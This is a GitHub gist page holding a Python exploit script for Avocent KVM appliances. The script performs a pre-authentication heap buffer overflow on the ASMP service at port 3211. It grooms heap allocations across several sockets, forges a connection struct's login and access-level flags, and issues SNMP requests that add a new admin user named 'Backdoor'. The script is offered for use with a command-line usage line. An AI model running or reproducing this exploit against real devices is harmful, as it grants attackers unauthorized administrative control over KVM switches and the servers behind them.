Skip to content

Instantly share code, notes, and snippets.

@apkunpacker
Forked from aemmitt-ns/asmpwn.py
Created December 9, 2023 06:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save apkunpacker/8876f1378207f64c2fb5239cc6089506 to your computer and use it in GitHub Desktop.
Save apkunpacker/8876f1378207f64c2fb5239cc6089506 to your computer and use it in GitHub Desktop.
Remote pre-auth heap buffer overflow exploit for Avocent KVMs
import socket, struct, sys
p32 = lambda x: struct.pack(">I", x)
p16 = lambda x: struct.pack(">h", x)
p8 = lambda x: struct.pack(">b", x)
# ASMP heap overflow exploit creates new applianceAdmin user
def exploit(hostname, username="Backdoor", password="Backdoor"):
global socks # python closes out of scope sockets
port = 3211 # this is hardcoded in the binary
print(f"[*] Exploiting ASMP on {hostname} port {port}")
print("[*] Making connections...")
socks = []
for i in range(12): # make 12 conns to empty heap bins
sock = socket.create_connection((hostname, port))
asmp_request(sock, "version")
socks += [sock]
(sockA, sockB, sockC) = socks[-3:]
payloadB = b"\xffAAA" + p32(0x29)*((0x4000-0x20)//4) + b"\r"
asmp_request(sockB, "version", payloadB)
# payload to enlarge conn B to fit buffer D
payloadA = b"\xff" + b"A"*(0x4004-13) + p32(0x4011) + b"\x01\0\0\r"
asmp_request(sockA, "version", payloadA) # enlarge B
print("[*] Freeing B...")
asmp_request(sockB, "logout") # free B
print("[*] Making connection D...")
# D's asmp_conn is allocated at B's buffer
# and D's buffer is allocated at B's enlarged asmp_conn
# this causes D's buffer to overlap with its own conn
# allowing it to set the flags for logged in and authed
sockD = socket.create_connection((hostname, port))
asmp_request(sockD, "version")
print("[*] Shrinking connection D...")
# payload to shrink B (now buffer D) to original size
payloadA2 = b"\xff" + b"A"*(0x4000-13+4) + p32(0x181) + b"\x01\0\0\r"
asmp_request(sockA, "version", payloadA2) # shrink buffer D
# make another connection to allocate at connD+0x180 hopefully?
sockE = socket.create_connection((hostname, port))
asmp_request(sockE, "version")
# set bytes for either chunk scenario
def set_bytes(data1, data2, index1):
index2 = index1 + 0x48
data1[index1:index1+len(data2)] = list(data2)
data1[index2:index2+len(data2)] = list(data2)
fake_conn = [0]*0x1b8 # zero filled buffer
set_bytes(fake_conn, p32(0x1000000), 0x0) # proto
set_bytes(fake_conn, p32(0x82), 0x4) # socket fd
set_bytes(fake_conn, p32(0x000ae238), 0x18) # timer?
set_bytes(fake_conn, p32(0xffff), 0x28) # idk
set_bytes(fake_conn, p32(1), 0x98) # logged in
set_bytes(fake_conn, p32(3), 0x160) # access level
set_bytes(fake_conn, p32(4), 0x164) # preemption
fake_conn[0x44:0x48] = list(p32(0x181)) # set chunk2 size
print("[*] Overwriting D auth flags...")
usernm = username.encode()
passwd = password.encode()
add_user = [
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.10", 2, p32(2))), # addUser
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.1", 4, usernm)), # username
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.2", 4, passwd)), # password
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.5", 2, p32(3))), # preemption
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.4", 2, p32(3))), # access level
]
user_len = sum(len(x[1])+3 for x in add_user)
payloadD = b"\xff"+b"A"*(0x178-user_len-13+4)+p32(0x49)+bytes(fake_conn)
asmp_request(sockD, "snmp", add_user, payloadD+b"\r", 2, False)
print(f"[+] Created new user [ {username} : {password} ]")
for sock in socks[:6]:
asmp_request(sock, "logout") # logging out of some socks
return (username, password)
# only list types we use
req_types = {
"login": [1],
"logout": [2],
"snmp": [16, 17, 18, 19],
"version": [49]
}
def asmp_request(sock, rtype, args=[], app=b"\xff\r", index=0, recv=True):
payload = b""
if type(args) == bytes:
payload += args
else:
for i,arg in enumerate(args):
if type(arg) == tuple:
i = arg[0]-1
arg = arg[1]
payload += p8(i+1) + p16(len(arg)) + arg
payload += app # datarec terminator
packet = (b"\x01ASMP\0\0" + # protocol
p8(req_types[rtype][index]) + # request type
p32(len(payload)-1)+payload) # size / payload
sock.send(packet)
if recv: return sock.recv(65536)
def oid_to_data(oid, stype=0x38, suffix=b"\x05\0\0"):
data = p8(0x06) + p16(stype) # idk
for o in oid.split("."): data += p32(int(o))
return data + suffix
def set_oid(oid, stype=2, value=b""):
oid_data = oid_to_data(oid, 0x30, b"\0")
return oid_data + p32(stype) + p16(len(value)) + value
if __name__ == "__main__":
if len(sys.argv) < 2:
print("usage: asmpwn.py <ip> [new user] [new passwd]")
quit()
else:
exploit(*sys.argv[1:4])
input("[-] Press enter to quit (main_app may crash)")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment